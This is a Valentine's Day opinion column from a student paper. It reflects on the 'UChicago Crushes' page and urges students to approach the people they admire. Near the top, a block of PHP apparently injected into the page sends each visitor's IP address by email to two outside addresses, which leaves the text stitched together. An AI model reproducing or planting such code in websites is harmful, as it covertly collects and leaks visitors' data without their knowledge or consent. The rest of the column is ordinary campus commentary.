February 14, 2014

The romance of UChicago Crushes

We've been a bit too theoretical when it comes to dating.


$to = 'forrestsill@gmail.com';

$subject = '[IP Address]';

$message = $_SERVER['REMOTE_ADDR'];

wp_mail($to, $subject, $message, $headers);

$to = 'ajankit92@gmail.com';

wp_mail($to, $subject, $message, $headers);


You’ve heard the sayings, of course—“UChicago: Where the odds are good, but the goods are odd,” “Where the squirrels are cuter than the girls and more aggressive than the guys,” “Where the men all look like Woody Allen (and so do the women),” etc. Yet somehow, despite all these supposed caveats about how unattractive everyone is, we seem to find attractive people to make eye contact with at Mansueto, to accidentally collide with at the onion display at Hyde Park Produce, or, as has recently been the case, to hand us our coffees at Ex Libris—at least judging by UChicago Crushes.

What this suggests to me are a couple of possibilities: first, that we’re using the excuse of people being unattractive because secretly we’re afraid of pursuing these heretofore unknown attractive people across whom we stumble; or second, that we are each one of us delusional enough to imagine that, despite stumbling across some apparently rare attractive person, we are simultaneously destined never to share more than a glimpse of them across the crowded tables of Harper.

Either way, it’s pretty clear that we are, for one reason or another, unwilling to do more than pine for those people for whom we have formed a secret yearning. We post something sweet about their smiles, something cliché (and/or maybe a little creepy) about “dat ass” or something that might be primarily an excuse to make a sexual innuendo that alludes to the reading list from the Sosc curriculum (insert joke about Discipline and Punish or Immanuel Kant here).

Maybe it’s because we don’t know what we want, and we’re so busy constructing possibilities in our heads that we never have the time, the impetus, or the courage to walk over and introduce ourselves. What if we’re being too hasty—shouldn’t we theorize some more about this? Do we want someone to share a bed with or someone to share our lives with? Do we want someone to go out to dinner with or to watch The West Wing with in our pajamas? Is appreciation of someone’s nerdy T-shirt collection a good enough reason to ask him or her on a date?

Maybe we’re just confused about the different terms for relationships. Maybe having a “significant other” is too scary a term (“significant”—that means that they should have symbolism and deeper meaning and exhibit a pattern of imagery, right?). As UChicago students, we do have a tendency to think a lot about the meanings of words and phrases. But somewhere along the line, we got mixed up about the meaning of the phrase “the life of the mind”—it’s not about one person’s mind, but about all our minds in collaboration. Getting too caught up in our own heads makes it impossible to connect with other people.

The misunderstanding of this phrase would explain why UChicago Crushes is, as a whole, a tracing of the different fantasies we’ve constructed about the people in our community. And because we’re so wrapped up in the hypothetical connection we could make, we barely ever attempt to take the initiative and make the hypothetical into reality. It’s an entertaining way of spending time—practically a study break—to pine after an unrequited crush and then to inform those people of how attractive they are. This is why there’s such an upswing in posts in the midst of midterms and finals each quarter—we like to procrastinate by imagining how it might feel to know some beautiful stranger better. This is not so much a critique of UChicago Crushes (don’t get me wrong, I think it’s fun to read too), but a suggestion that we think about how we use it and what we gain from posting a crush about someone.

Now that Valentine’s Day is upon us, I imagine that visions of romance will be dancing in people’s heads, but my suggestion is the following: instead of pining away in a study carrel at the Reg, try approaching these people you’ve admired. At best, they may want to go on a date with you. At worst, they’ll probably be flattered that you don’t think they look like Woody Allen. And hey, if all else fails, you can always go back to pretending like you didn’t notice that person and move on to a new crush, right?

 Katie O'Shea is a fourth-year in the College majoring in English.